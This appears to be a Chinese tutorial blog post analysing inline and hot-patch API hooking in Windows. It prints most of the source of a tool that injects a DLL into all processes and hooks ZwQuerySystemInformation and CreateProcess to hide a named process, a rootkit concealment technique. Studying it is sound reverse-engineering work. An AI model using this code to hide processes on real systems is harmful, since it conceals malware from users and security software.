@author: dlive
IAT Hook时如果要钩取的API不在IAT中(LoadLibrary后调用)，则无法使用该技术。而Inline Hook不存在这个限制。
0x01 Inline Hook原理
原理比较简单，将API代码的前5个字节修改为JMP xxxxxx 指令来钩取API。调用执行被钩取的API时，JMP XXXXXX指令被执行，转而跳转至Hook函数。
0x02 相关API
用户模式下检测进程的相关API通常分为如下两类：
-
CreateToolhelp32Snapshot() 和 EnumProcess()
这两个API均在其内部调用了ntdll.ZwQuerySystemInformation
-
ZwQuerySystemInformation()
该API可获得运行中的所有进程信息(结构体)，形成一个链表，操作该链表从链表中删除相关进程即可达到隐藏的目的。
0x03 隐藏进程时可能遇到的问题
- 要钩取进程的个数。要想把某个进程隐藏起来，需要钩取系统中运行的所有进程
- 需要对新启动的进程也做同样的钩取操作
以上就是全局钩取的概念
注意：鉴于系统安全性考虑，系统进程禁止进行注入操作
0x04 代码分析
1. HideProc.cpp
InjectAllProcess
向所有进程注入/卸载DLL
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
// Get the snapshot of the system
pe.dwSize = sizeof( PROCESSENTRY32 );
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
// find process
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;
//鉴于系统安全性考虑，对于PID小于100的系统进程，不执行DLL诸如操作
if( dwPID < 100 )
continue;
if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
}
while( Process32Next(hSnapShot, &pe) );
CloseHandle(hSnapShot);
return TRUE;
}
2. stealth.cpp
实际API的钩取由stealth.dll负责
2.1 SetProcName
// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()
#pragma data_seg(".SHARE")一般用于DLL中，在DLL中定义一个共享的，有名字的节区。最关键的是：这个节区中的全局变量可以被多个进程共享。 这里将建立的节区命名为.SHARE。您可以将这段命名为任何一个您喜欢的名字。在这里的#pragma叙述之后的所有初始化了的变量都放在.SHARE节区中。
#pragma data_seg()叙述标示段的结束。对变量进行专门的初始化是很重要的，否则编译器将把它们放在普通的未初始化数据段（.bss）中而不是放在shared中。
连结器必须知道有一个「shared」共享节区: #pragma comment(linker,"/SECTION:shared,RWS") 字母RWS表示节区具有读、写和共享属性。
// ------------------------------ 我是一个题外话 --------------------------------------
//说个题外话，通过共享节区变量可以做到防多开（腾讯游戏安全竞赛的时候曾经用过这个方法）
//DLL加载时count++, 卸载时count--
//demo代码如下，只是demo
#pragma data_seg("flag_data")
int count=0;
#pragma data_seg()
#pragma comment(linker,"/SECTION:flag_data,RWS")
if(count>1)
{
MessageBox("已经启动了一个应用程序"，"Warning",MB_OK);
return FLASE;
}
count++;
// ------------------------------ 我是一个题外话 --------------------------------------
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
{
//将steach.dll字符串存放在内存共享节区
_tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif
2.2 DllMain
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;
// #1. 判断进程名称，不向HideProc.exe注入dll
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\');
if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
return TRUE;
switch( fdwReason )
{
// #2. API Hooking
case DLL_PROCESS_ATTACH :
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
break;
// #3. API Unhooking
case DLL_PROCESS_DETACH :
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
g_pOrgBytes);
break;
}
return TRUE;
}
2.3 hook_by_code
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = {0xE9, 0, };
PBYTE pByte;
// 获取要钩取的API地址
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;
// 若已经被钩取，则返回False
if( pByte[0] == 0xE9 )
return FALSE;
// 修改内存属性
VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 备份原有的5字节
memcpy(pOrgBytes, pfnOrg, 5);
// JMP (E9 XXXX)
// => XXXX = pfnNew - pfnOrg - 5
dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
memcpy(&pBuf[1], &dwAddress, 4);
// Hook - 5 byte (JMP XXXX)
memcpy(pfnOrg, pBuf, 5);
// 恢复内存属性
VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
JMP目的地址的计算，xxxxxxxx为相对地址
长跳转
E9 xxxxxxxx
xxxxxxxx = 要跳转的绝对地址 - 当前指令绝对地址 - 当前指令长度(5)
还有另外的一些跳转指令
短跳转 short jmp
EB xx (指令长度为两字节, xx为相对地址)
跳转到绝对地址
push xxxxxxxx; ret
68 xxxxxxxx c3
跳转到绝对地址
move eax, xxxxxxxx
jmp eax
B8 xxxxxxxx
FFE0
2.4 unhook_by_code
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;
// 获取API地址
pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
// 判断API 代码是否被修改过
if( pByte[0] != 0xE9 )
return FALSE;
// 将API开始5Byte内存属性修改为RWX
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// Unhook，将原始的5Byte数据修改回来
memcpy(pFunc, pOrgBytes, 5);
// 恢复内存属性
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
2.5 NewZwQuerySystemInformation
Zw开头的函数和Nt开头的函数的区别:
在RING3下，应用程序调用NT或者ZW效果是一样的, 在dll中执行的是同一段代码。
在RING0下，调用NT函数跟ZW函数就不一样了，ZW开头的函数是通过eax中系统服务号去SSDT中查找相应的系统服务，然后调用之。
若在驱动中直接调用NT开头的函数是不会经过SSDT的 也不会被SSDT HOOK拦截的。
即：在R0下通过调用NT系列函数可以绕过SSDT HOOK 。微软推荐使用Zw开头的函数
ZwQuerySystemInformation微软官方手册（对各个字段解释不完整）
https://msdn.microsoft.com/en-us/library/windows/desktop/ms725506(v=vs.85).aspx
#define STATUS_SUCCESS (0x00000000L)
typedef LONG NTSTATUS;
//将SYSTEM_INFORMATION_CLASS设置为SystemProcessInformation(5)后调用ZwQuerySystemInformation API
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
//API获得的信息为SYSTEM_PROCESS_INFORMATION结构体组成的单向链表的起始地址，该结构体重存储着运行中所有进程的信息
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset; //链表中下一个结构体相对于当前结构体的偏移量
ULONG NumberOfThreads; //线程数目；
BYTE Reserved1[48];
PVOID Reserved2[3]; //Reserved2[1]为进程名称，进程名称为Unicode字符串
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation, //参数单向链表的起始地址
ULONG SystemInformationLength,
PULONG ReturnLength);
#define DEF_NTDLL ("ntdll.dll")
#define DEF_ZWQUERYSYSTEMINFORMATION ("ZwQuerySystemInformation")
//NTSTATUS 是被定义为32位的无符号长整型。在驱动程序开发中，人们习惯用 NTSTATUS 返回状态。
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
char szProcName[MAX_PATH] = {0,};
// 首先脱钩
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);
// 调用原始API
pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),
DEF_ZWQUERYSYSTEMINFORMATION);
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
if( status != STATUS_SUCCESS )
goto __NTQUERYSYSTEMINFORMATION_END;
// 判断调用API时是否为要钩取的调用方式(SystemProcessInformation(5))
if( SystemInformationClass == SystemProcessInformation )
{
// pCur 存储单链表的首地址
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while(TRUE)
{
// 比较进程名称
// g_szProcName为要隐藏的进程
if(pCur->Reserved2[1] != NULL)
{
if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
{
// 删除链表节点
if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}
//遍历结束
if(pCur->NextEntryOffset == 0)
break;
// 相当于p=p->next
pCur = (PSYSTEM_PROCESS_INFORMATION)
((ULONG)pCur + pCur->NextEntryOffset);
}
}
__NTQUERYSYSTEMINFORMATION_END:
// 重新Hook API
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
return status;
}
0x05 全局API钩取
全局API钩取技术针对的进程：
- 当前运行的所有进程
- 将来要运行的所有进程
前面的示例程序并不是全局API钩取的例子，因为它并不满足全局API钩取定义中的第二个条件
1.相关API
//Kernel32.CreateProcess
BOOL WINAPI CreateProcess(
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);
该API用于创建新进程，其他启动运行进程的API（WinExec, ShellExecute, system）在其内部调用的都是该函数
WinExec:
https://msdn.microsoft.com/en-us/library/ms687393(v=vs.85).aspx
可以直接钩取父进程(通常是explorer.exe)的CreateProcess API来监控子进程创建，从而达到钩取子进程的目的。
但是这种方法存在一些问题，且不说需要同时钩取CreateProcessA, CreateProcessW，CreateProcessInternalA, CreateProcessInternalW, 还存在在NewCreateProcess(攻击者自定义的Hook函数)调用CreateProcess创建子进程时，极短时间内，子进程可能在未钩取的状态下运行。
//Ntdll.ZwResumeThread
ZwResumeThread(
IN HANDLE ThreadHandle,
OUT PULONG SuspendCount OPTIONAL
)
该API也是一个未公开API，它是比CreateProcess更低级的API，它在进程创建后，主线程运行前被调用执行。所以只要钩取这个函数即可在不运行子进程代码的情况下钩取API。
但由于其为未公开API，随着OS的升级，API可能失效。
2.代码分析
stealth2.cpp中增加了对CreateProcessA和CreateProcessW的Hook操作，并对新创建的进程进行dll注入d
有NewCreateProcessA为例：
BOOL WINAPI NewCreateProcessA(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc;
// unhook
unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA);
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
// 如果新进程创建成果，将stealth.dll注入到新进程中
if( bRet )
InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
// hook
hook_by_code("kernel32.dll", "CreateProcessA",
(PROC)NewCreateProcessA, g_pOrgCPA);
return bRet;
}
0x06 利用热补丁技术钩取API
前面demo程序中通过代码修改技术进行API Hook存在的缺点
- 频繁脱钩，挂钩会造成整体性能下降
- 多线程环境，当一个线程尝试运行某段代码，而另一进程刚好在对该代码进行写操作，这时就会发生冲突，会引起非法访问异常（Access Violation）。《windows核心编程》指出，利用代码修改技术钩取API会对系统安全造成威胁
1.热补丁（修改7Byte代码）
Windows系统库中的函数，如kernel32.CreateProcessA/W, user32.MessageBoxA，gdi32.TextOutW有一个相似点
- API以
MOV EDI, EDI指令开始(IA-320X8bff) - API上方有5个
NOP指令(IA-320X90)
微软做此设计的目的就是方便打热补丁。
使用热补丁Hook API的过程如下
- 修改API开始的两个字节
MOV EDI,EDI为SHORT JMP指令EB F9, 跳转的目标地址是address_of_api - 5，即5个NOP指令的第一条 - 修改5个NOP指令为长跳转
E9 XXXXXXXX，跳转到用户自定义API - 用户自定义代码调用原始API时，直接以API+2的地址为API地址调用原API，这样就不会引起内存非法访问
2.代码分析
2.1 DllMain
和之前代码一样，在Dll附加进程的时候调用hook方法，在dll卸载时调用unhook方法
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;
// 判断进程名称，不向HideProc2.exe注入dll
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\');
if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") )
return TRUE;
// change privilege
SetPrivilege(SE_DEBUG_NAME, TRUE);
switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
// hook
hook_by_hotpatch("kernel32.dll", "CreateProcessA",
(PROC)NewCreateProcessA);
hook_by_hotpatch("kernel32.dll", "CreateProcessW",
(PROC)NewCreateProcessW);
//可以看到这里没有对ZwQuerySystemInformation使用热补丁Hook，具体原因见"3.热补丁Hook的缺点"
hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
(PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
break;
case DLL_PROCESS_DETACH :
// unhook
unhook_by_hotpatch("kernel32.dll", "CreateProcessA");
unhook_by_hotpatch("kernel32.dll", "CreateProcessW");
unhook_by_code("ntdll.dll", "ZwQuerySystemInformation",
g_pOrgZwQSI);
break;
}
return TRUE;
}
2.2 hook_by_hotpatch
修改API中无用的7字节数据，跳转到用户自定义Hook函数
BOOL hook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew)
{
FARPROC pFunc;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = { 0xE9, 0, };
BYTE pBuf2[2] = { 0xEB, 0xF9 };
PBYTE pByte;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] == 0xEB )
return FALSE;
VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 1. NOP (0x90)
dwAddress = (DWORD)pfnNew - (DWORD)pFunc;
memcpy(&pBuf[1], &dwAddress, 4);
memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5);
// 2. MOV EDI, EDI (0x8BFF)
memcpy(pFunc, pBuf2, 2);
VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, dwOldProtect, &dwOldProtect);
return TRUE;
}
2.3 unhook_by_hotpatch
将7字节数据修改为原数据
BOOL unhook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;
BYTE pBuf[5] = { 0x90, 0x90, 0x90, 0x90, 0x90 };
BYTE pBuf2[2] = { 0x8B, 0xFF };
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] != 0xEB )
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 1. NOP (0x90)
memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5);
// 2. MOV EDI, EDI (0x8BFF)
memcpy(pFunc, pBuf2, 2);
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
2.4 NewCreateProcess
这里需要注意一点，在使用之前的hook方法进行API钩取时，在用户自定义NewCreateProcess函数开头需要调用unhook方法(防止进入钩取的死循环)，函数结尾需要调用hook方法进行重新钩取。
但是使用热补丁Hook时不需要这样反复脱钩，挂钩，只需在调用原始API时，使用address of API + 2的地址调用API即可
BOOL WINAPI NewCreateProcessA(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc;
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
//以API地址+2为函数地址调用CreateProcessA函数
pFunc = (FARPROC)((DWORD)pFunc + 2);
bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
// 注入steach3.dll
if( bRet )
InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
return bRet;
}
3.使用热补丁进行Hook的缺点
热补丁钩取技术有个明显的缺点，即不符合钩取条件（7字节无用代码）的API无法使用热补丁钩取
这样的API有，ntdll.dll提供的API 和kernel32.GetStartInfoA() 等
并非所有API都能使用热补丁钩取，所以使用前需要先确认要钩取的API是否支持，若不支持则需使用前面的5字节代码修改技术
0x07 Ntdll.dll API钩取技巧
Ntdll.dll中提供的API代码都较短，钩取这些API时有一种非常好的方法，使用这种方法时先将原API备份到用户内存区域，然后使用5字节代码修改技术修改原API的起始部分。在用户钩取函数内部调用API时，只需调用备份的API即可，这样实现的API钩取既简单又稳定。由于Ntdll.all API代码较短，且代码内部地址无依赖性，所以它们非常适合用该技术钩取。
0x08 一些问题
-
Dll在内存中只会加载一次，那么在Hook时对Dll进行修改后岂不是会影响所有使用该dll的进程？
主要是Copy-On-Write机制，a.dll在内存中只有一份拷贝，增加的是dll的引用计数，当dll的引用计数为0时，系统会回收对应内存和删除对应的映射。
如果有一个程序对dll的内存进行了相应的修改，比如说修改内存加载钩子，那么系统会将对应页面复制一份出来给程序，此时，两个程序指向的dll的对应内存就不同了。 -
使用HideProc注入时注入失败
Windows 7/Vista中使用了会话隔离技术，可能导致Dll注入失败。出现这个问题时，不要使用kernel32.CreateRemoteThread而使用ntdll.NtCreateThreadEx就可以了。
此外，尝试向PE32+格式的进程注入PE32格式的DLL时也会失败（反之亦然）。注入时必须保证注入的DLL文件和目标进程PE格式一致。